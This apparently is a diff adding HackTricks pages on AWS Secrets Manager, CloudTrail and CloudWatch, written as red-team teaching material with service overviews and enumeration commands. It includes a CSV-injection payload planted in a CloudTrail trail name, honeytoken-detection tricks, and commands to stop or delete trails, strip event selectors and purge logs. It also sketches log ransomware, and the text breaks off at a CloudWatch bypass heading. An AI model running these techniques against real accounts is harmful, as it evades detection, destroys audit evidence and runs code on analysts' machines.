* [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3)
* [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,76 @@
# AWS - Secrets Manager Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## AWS Secrets Manager
AWS Secrets Manager is designed to **eliminate the use of hard-coded secrets in applications by replacing them with an API call**. This service serves as a **centralized repository for all your secrets**, ensuring they are managed uniformly across all applications.
The manager simplifies the **process of rotating secrets**, significantly improving the security posture of sensitive data like database credentials. Additionally, secrets like API keys can be automatically rotated with the integration of lambda functions.
The access to secrets is tightly controlled through detailed IAM identity-based policies and resource-based policies.
For granting access to secrets to a user from a different AWS account, it's necessary to:
1. Authorize the user to access the secret.
2. Grant permission to the user to decrypt the secret using KMS.
3. Modify the Key policy to allow the external user to utilize it.
**AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.**
### **Enumeration**
```bash
aws secretsmanager list-secrets #Get metadata of all secrets
aws secretsmanager list-secret-version-ids --secret-id <secret_name> # Get versions
aws secretsmanager describe-secret --secret-id <secret_name> # Get metadata
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
aws secretsmanager get-secret-value --secret-id <secret_name> --version-id <version-id> # Get value of a different version
aws secretsmanager get-resource-policy --secret-id --secret-id <secret_name>
```
### Privesc
{% content-ref url="../aws-privilege-escalation/aws-secrets-manager-privesc.md" %}
[aws-secrets-manager-privesc.md](../aws-privilege-escalation/aws-secrets-manager-privesc.md)
{% endcontent-ref %}
### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-secrets-manager-post-exploitation.md" %}
[aws-secrets-manager-post-exploitation.md](../aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
{% endcontent-ref %}
### Persistence
{% content-ref url="../aws-persistence/aws-secrets-manager-persistence.md" %}
[aws-secrets-manager-persistence.md](../aws-persistence/aws-secrets-manager-persistence.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,2 @@
# AWS - Security & Detection Services

View File

@@ -0,0 +1,330 @@
# AWS - CloudTrail Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **CloudTrail**
AWS CloudTrail **records and monitors activity within your AWS environment**. It captures detailed **event logs**, including who did what, when, and from where, for all interactions with AWS resources. This provides an audit trail of changes and actions, aiding in security analysis, compliance auditing, and resource change tracking. CloudTrail is essential for understanding user and resource behavior, enhancing security postures, and ensuring regulatory compliance.
Each logged event contains:
* The name of the called API: `eventName`
* The called service: `eventSource`
* The time: `eventTime`
* The IP address: `SourceIPAddress`
* The agent method: `userAgent`. Examples:
* Signing.amazonaws.com - From AWS Management Console
* console.amazonaws.com - Root user of the account
* lambda.amazonaws.com - AWS Lambda
* The request parameters: `requestParameters`
* The response elements: `responseElements`
Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\
CloudTrails logs can be **aggregated across accounts and across regions.**\
CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.\
When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events.
Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S3) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys.
The logs are stored in a **S3 bucket with this name format**:
* **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
* Being the BucketName: **`aws-cloudtrail-logs-<accountid>-<random>`**
* Example: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
Inside each folder each log will have a **name following this format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
Log File Naming Convention
![](<../../../../.gitbook/assets/image (122).png>)
Moreover, **digest files (to check file integrity)** will be inside the **same bucket** in:
![](<../../../../.gitbook/assets/image (195).png>)
### Aggregate Logs from Multiple Accounts
* Create a Trial in the AWS account where you want the log files to be delivered to
* Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access
* Create a new Trail in the other AWS accounts and select to use the created bucket in step 1
However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account.
{% hint style="danger" %}
Remember that an account can have **different Trails** from CloudTrail **enabled** storing the same (or different) logs in different buckets.
{% endhint %}
### Cloudtrail from all org accounts into 1
When creating a CloudTrail, it's possible to indicate to get activate cloudtrail for all the accounts in the org and get the logs into just 1 bucket:
<figure><img src="../../../../.gitbook/assets/image (200).png" alt=""><figcaption></figcaption></figure>
This way you can easily configure CloudTrail in all the regions of all the accounts and centralize the logs in 1 account (that you should protect).
### Log Files Checking
You can check that the logs haven't been altered by running
{% code overflow="wrap" %}
```javascript
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
```
{% endcode %}
### Logs to CloudWatch
**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\
Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to:
* CreateLogStream: This allows to create a CloudWatch Logs log streams
* PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream
### Event History
CloudTrail Event History allows you to inspect in a table the logs that have been recorded:
![](<../../../../.gitbook/assets/image (89).png>)
### Insights
**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, youll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever.
The insights are stored in the same bucket as the CloudTrail logs in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### Security
| CloudTrail Log File Integrity | <ul><li>Validate if logs have been tampered with (modified or deleted)</li><li><p>Uses digest files (create hash for each file)</p><ul><li>SHA-256 hashing</li><li>SHA-256 with RSA for digital signing</li><li>private key owned by Amazon</li></ul></li><li>Takes 1 hour to create a digest file (done on the hour every hour)</li></ul> |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Stop unauthorized access | <ul><li><p>Use IAM policies and S3 bucket policies</p><ul><li>security team —> admin access</li><li>auditors —> read only access</li></ul></li><li>Use SSE-S3/SSE-KMS to encrypt the logs</li></ul> |
| Prevent log files from being deleted | <ul><li>Restrict delete access with IAM and bucket policies</li><li>Configure S3 MFA delete</li><li>Validate with Log File Validation</li></ul> |
## Access Advisor
AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its insights**. CloudTrail captures a history of AWS API calls and related events made in an AWS account. Access Advisor utilizes this data to **show when services were last accessed**. By analyzing CloudTrail logs, Access Advisor can determine which AWS services an IAM user or role has accessed and when that access occurred. This helps AWS administrators make informed decisions about **refining permissions**, as they can identify services that haven't been accessed for extended periods and potentially reduce overly broad permissions based on real usage patterns.
{% hint style="success" %}
Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them
{% endhint %}
<figure><img src="../../../../.gitbook/assets/image (78).png" alt=""><figcaption></figcaption></figure>
## Actions
### Enumeration
```bash
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]
# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>
# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
```
### **CSV Injection**
It's possible to perform a CVS injection inside CloudTrail that will execute arbitrary code if the logs are exported in CSV and open with Excel.\
The following code will generate log entry with a bad Trail name containing the payload:
```python
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)
```
For more information about CSV Injections check the page:
{% embed url="https://book.hacktricks.xyz/pentesting-web/formula-injection" %}
For more information about this specific technique check [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
## **Bypass Detection**
### HoneyTokens **bypass**
Honeyokens are created to **detect exfiltration of sensitive information**. In case of AWS, they are **AWS keys whose use is monitored**, if something triggers an action with that key, then someone must have stolen that key.
However, Honeytokens like the ones created by [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new\&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) are either using recognizable account name or using the same AWS account ID for all their customers. Therefore, if you can get the account name and/or account ID without making Cloudtrail create any log, **you could know if the key is a honeytoken or not**.
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) has some rules to detect if a key belongs to [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new\&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
* If **`canarytokens.org`** appears in the role name or the account ID **`534261010715`** appears in the error message.
* Testing them more recently, they are using the account **`717712589309`** and still has the **`canarytokens.com`** string in the name.
* If **`SpaceCrab`** appears in the role name in the error message
* **SpaceSiren** uses **uuids** to generate usernames: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
* If the **name looks like randomly generated**, there are high probabilities that it's a HoneyToken.
#### Get the account ID from the Key ID
You can get the **Account ID** from the **encoded** inside the **access key** as [**explained here**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) and check the account ID with your list of Honeytokens AWS accounts:
```python
import base64
import binascii
def AWSAccount_from_AWSKeyID(AWSKeyID):
trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]
z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
e = (z & mask)>>7
return (e)
print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
```
Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
#### Do not generate a log
The most effective technique for this is actually a simple one. Just use the key you just found to access some service inside your own attackers account. This will make **CloudTrail generate a log inside YOUR OWN AWS account and not inside the victims**.
The things is that the output will show you an error indicating the account ID and the account name so **you will be able to see if it's a Honeytoken**.
#### AWS services without logs
In the past there were some **AWS services that doesn't send logs to CloudTrail** (find a [list here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Some of those services will **respond** with an **error** containing the **ARN of the key role** if someone unauthorised (the honeytoken key) try to access it.
This way, an **attacker can obtain the ARN of the key without triggering any log**. In the ARN the attacker can see the **AWS account ID and the name**, it's easy to know the HoneyToken's companies accounts ID and names, so this way an attacker can identify id the token is a HoneyToken.
![](<../../../../.gitbook/assets/image (93).png>)
{% hint style="danger" %}
Note that all public APIs discovered to not being creating CloudTrail logs are now fixed, so maybe you need to find your own...
For more information check the [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
{% endhint %}
### Accessing Third Infrastructure
Certain AWS services will **spawn some infrastructure** such as **Databases** or **Kubernetes** clusters (EKS). A user **talking directly to those services** (like the Kubernetes API) **wont use the AWS API**, so CloudTrail wont be able to see this communication.
Therefore, a user with access to EKS that has discovered the URL of the EKS API could generate a token locally and **talk to the API service directly without getting detected by Cloudtrail**.
More info in:
{% content-ref url="../../aws-post-exploitation/aws-eks-post-exploitation.md" %}
[aws-eks-post-exploitation.md](../../aws-post-exploitation/aws-eks-post-exploitation.md)
{% endcontent-ref %}
### Modifying CloudTrail Config
#### Delete trails
```bash
aws cloudtrail delete-trail --name [trail-name]
```
#### Stop trails
```bash
aws cloudtrail stop-logging --name [trail-name]
```
#### Disable multi-region logging
{% code overflow="wrap" %}
```bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
```
{% endcode %}
#### Disable Logging by Event Selectors
{% code overflow="wrap" %}
```bash
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
```
{% endcode %}
In the first example, a single event selector is provided as a JSON array with a single object. The `"ReadWriteType": "ReadOnly"` indicates that the **event selector should only capture read-only events** (so CloudTrail insights **won't be checking write** events for example).
You can customize the event selector based on your specific requirements.
#### Logs deletion via S3 lifecycle policy
{% code overflow="wrap" %}
```bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
```
{% endcode %}
### Modifying Bucket Configuration
* Delete the S3 bucket
* Change bucket policy to deny any writes from the CloudTrail service
* Add lifecycle policy to S3 bucket to delete objects
* Disable the kms key used to encrypt the CloudTrail logs
### Cloudtrail ransomware
#### S3 ransomware
You could **generate an asymmetric key** and make **CloudTrail encrypt the data** with that key and **delete the private key** so the CloudTrail contents cannot be recovered cannot be recovered.\
This is basically a **S3-KMS ransomware** explained in:
{% content-ref url="../../aws-post-exploitation/aws-s3-post-exploitation.md" %}
[aws-s3-post-exploitation.md](../../aws-post-exploitation/aws-s3-post-exploitation.md)
{% endcontent-ref %}
**KMS ransomware**
This is an easiest way to perform the previous attack with different permissions requirements:
{% content-ref url="../../aws-post-exploitation/aws-kms-post-exploitation.md" %}
[aws-kms-post-exploitation.md](../../aws-post-exploitation/aws-kms-post-exploitation.md)
{% endcontent-ref %}
## **References**
* [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,479 @@
# AWS - CloudWatch Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## CloudWatch
**CloudWatch** **collects** monitoring and operational **data** in the form of logs/metrics/events providing a **unified view of AWS resources**, applications and services.\
CloudWatch Log Event have a **size limitation of 256KB on each log line**.\
It can set **high resolution alarms**, visualize **logs** and **metrics** side by side, take automated actions, troubleshoot issues, and discover insights to optimize applications.
You can monitor for example logs from CloudTrail. Events that are monitored:
* Changes to Security Groups and NACLs
* Starting, Stopping, rebooting and terminating EC2 instances
* Changes to Security Policies within IAM and S3
* Failed login attempts to the AWS Management Console
* API calls that resulted in failed authorization
* Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
## Key concepts
### Namespaces
A namespace is a container for CloudWatch metrics. It helps to categorize and isolate metrics, making it easier to manage and analyze them.
* **Examples**: AWS/EC2 for EC2-related metrics, AWS/RDS for RDS metrics.
### Metrics
Metrics are data points collected over time that represent the performance or utilization of AWS resources. Metrics can be collected from AWS services, custom applications, or third-party integrations.
* **Example**: CPUUtilization, NetworkIn, DiskReadOps.
### Dimensions
Dimensions are key-value pairs that are part of metrics. They help to uniquely identify a metric and provide additional context, being 30 the most number of dimensions that can be associated with a metric. Dimensions also allow to filter and aggregate metrics based on specific attributes.
* **Example**: For EC2 instances, dimensions might include InstanceId, InstanceType, and AvailabilityZone.
### Statistics
Statistics are mathematical calculations performed on metric data to summarize it over time. Common statistics include Average, Sum, Minimum, Maximum, and SampleCount.
* **Example**: Calculating the average CPU utilization over a period of one hour.
### Units
Units are the measurement type associated with a metric. Units help to provide context and meaning to the metric data. Common units include Percent, Bytes, Seconds, Count.
* **Example**: CPUUtilization might be measured in Percent, while NetworkIn might be measured in Bytes.
## CloudWatch Features
### Dashboard
**CloudWatch Dashboards** provide customizable **views of your AWS CloudWatch metrics**. It is possible to create and configure dashboards to visualize data and monitor resources in a single view, combining different metrics from various AWS services.
**Key Features**:
* **Widgets**: Building blocks of dashboards, including graphs, text, alarms, and more.
* **Customization**: Layout and content can be customized to fit specific monitoring needs.
**Example Use Case**:
* A single dashboard showing key metrics for your entire AWS environment, including EC2 instances, RDS databases, and S3 buckets.
### Metric Stream and Metric Data
**Metric Streams** in AWS CloudWatch enable you to continuously stream CloudWatch metrics to a destination of your choice in near real-time. This is particularly useful for advanced monitoring, analytics, and custom dashboards using tools outside of AWS.
**Metric Data** inside Metric Streams refers to the actual measurements or data points that are being streamed. These data points represent various metrics like CPU utilization, memory usage, etc., for AWS resources.
**Example Use Case**:
* Sending real-time metrics to a third-party monitoring service for advanced analysis.
* Archiving metrics in an Amazon S3 bucket for long-term storage and compliance.
### Alarm
**CloudWatch Alarms** monitor your metrics and perform actions based on predefined thresholds. When a metric breaches a threshold, the alarm can perform one or more actions such as sending notifications via SNS, triggering an auto-scaling policy, or running an AWS Lambda function.
**Key Components**:
* **Threshold**: The value at which the alarm triggers.
* **Evaluation Periods**: The number of periods over which data is evaluated.
* **Datapoints to Alarm**: The number of periods with a reached threshold needed to trigger the alarm
* **Actions**: What happens when an alarm state is triggered (e.g., notify via SNS).
**Example Use Case**:
* Monitoring EC2 instance CPU utilization and sending a notification via SNS if it exceeds 80% for 5 consecutive minutes.
### Anomaly Detectors
**Anomaly Detectors** use machine learning to automatically detect anomalies in your metrics. You can apply anomaly detection to any CloudWatch metric to identify deviations from normal patterns that might indicate issues.
**Key Components**:
* **Model Training**: CloudWatch uses historical data to train a model and establish what normal behavior looks like.
* **Anomaly Detection Band**: A visual representation of the expected range of values for a metric.
**Example Use Case**:
* Detecting unusual CPU utilization patterns in an EC2 instance that might indicate a security breach or application issue.
### Insight Rules and Managed Insight Rules
**Insight Rules** allow you to identify trends, detect spikes, or other patterns of interest in your metric data using **powerful mathematical expressions** to define the conditions under which actions should be taken. These rules can help you identify anomalies or unusual behaviors in your resource performance and utilization.
**Managed Insight Rules** are pre-configured **insight rules provided by AWS**. They are designed to monitor specific AWS services or common use cases and can be enabled without needing detailed configuration.
**Example Use Case**:
* Monitoring RDS Performance: Enable a managed insight rule for Amazon RDS that monitors key performance indicators such as CPU utilization, memory usage, and disk I/O. If any of these metrics exceed safe operational thresholds, the rule can trigger an alert or automated mitigation action.
### CloudWatch Logs <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
Allows to **aggregate and monitor logs from applications** and systems from **AWS services** (including CloudTrail) and **from apps/systems** (**CloudWatch Agen**t can be installed on a host). Logs can be **stored indefinitely** (depending on the Log Group settings) and can be exported.
**Elements**:
| **Log Group** | A **collection of log streams** that share the same retention, monitoring, and access control settings |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Log Stream** | A sequence of **log events** that share the **same source** |
| **Subscription Filters** | Define a **filter pattern that matches events** in a particular log group, send them to Kinesis Data Firehose stream, Kinesis stream, or a Lambda function |
### CloudWatch Monitoring & Events
CloudWatch **basic** aggregates data **every 5min** (the **detailed** one does that **every 1 min**). After the aggregation, it **checks the thresholds of the alarms** in case it needs to trigger one.\
In that case, CLoudWatch can be prepared to send an event and perform some automatic actions (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams)
### Agent Installation
You can install agents inside your machines/containers to automatically send the logs back to CloudWatch.
* **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
* **Download** and **install** the **agent** onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage
* **Configure** and **start** the CloudWatch Agent
A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order.
## Enumeration
```bash
# Dashboards #
## Returns a list of the dashboards of your account
aws cloudwatch list-dashboards
## Retrieves the details of the specified dashboard
aws cloudwatch get-dashboard --dashboard-name <value>
# Metrics #
## Returns a list of the specified metric
aws cloudwatch list-metrics [--namespace <value>] [--metric-name <value>] [--dimensions <value>] [--include-linked-accounts | --no-include-linked-accounts]
## Retrieves metric data (this operation can include a CloudWatch Metrics Insights query, and one or more metric math functions)
aws cloudwatch get-metric-data --metric-data-queries <value> --start-time <value> --end-time <value>
## Retrieves statistics for the specified metric and namespace over a range of time
aws cloudwatch get-metric-statistics --namespace <value> --metric-name <value> [--dimensions <value>] --start-time <value> --end-time <value> --period <value>
## Returns a list of the metric streams of your account
aws cloudwatch list-metric-streams
## Retrieves information about the specified metric stream
aws cloudwatch get-metric-stream --name <value>
## Retrieve snapshots of the specified metric widgets
aws cloudwatch get-metric-widget-image --metric-widget <value>
# Alarms #
## Retrieves the specified alarm
aws cloudwatch describe-alarms [--alarm-names <value>] [--alarm-name-prefix <value>] [--alarm-types <value>] [--state-value <value>]
## Retrieves the alarms history, even for deleted alarms
aws cloudwatch describe-alarm-history [--alarm-name <value>] [--alarm-types <value>] [--history-item-type <ConfigurationUpdate | StateUpdate | Action>] [--start-date <value>] [--end-date <value>]
## Retrieves standard alarms based on the specified metric
aws cloudwatch escribe-alarms-for-metric --metric-name <value> --namespace <value> [--dimensions <value>]
# Anomaly Detections #
## Lists the anomaly detection models that you have created in your account
aws cloudwatch describe-anomaly-detectors [--namespace <value>] [--metric-name <value>] [--dimensions <value>]
## Lists all the Contributor Insight rules in your account
aws cloudwatch describe-insight-rules
## Retrieves the data collected over a time range for a given Contributor Insight rule
aws cloudwatch get-insight-rule-report --rule-name <value> --start-time <value> --end-time <value> --period <value>
## Lists managed Contributor Insights rules in your account for a specified resource
aws cloudwatch list-managed-insight-rules --resource-arn <value>
# Tags #
## Lists the tags associated with the specified CloudWatch resources
aws cloudwatch list-tags-for-resource --resource-arn <value>
# CloudWatch Logs #
aws logs tail "<log_group_name>" --followaws logs get-log-events --log-group-name "<log_group_name>" --log-stream-name "<log_stream_name>" --output text > <output_file>
# CloudWatch Events #
aws events list-rules
aws events describe-rule --name <name>aws events list-targets-by-rule --rule <name>aws events list-archives
aws events describe-archive --archive-name <name>aws events list-connections
aws events describe-connection --name <name>aws events list-endpoints
aws events describe-endpoint --name <name>aws events list-event-sources
aws events describe-event-source --name <name>aws events list-replays
aws events list-api-destinations
aws events list-event-buses
```
## Post-Exploitation / Bypass
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
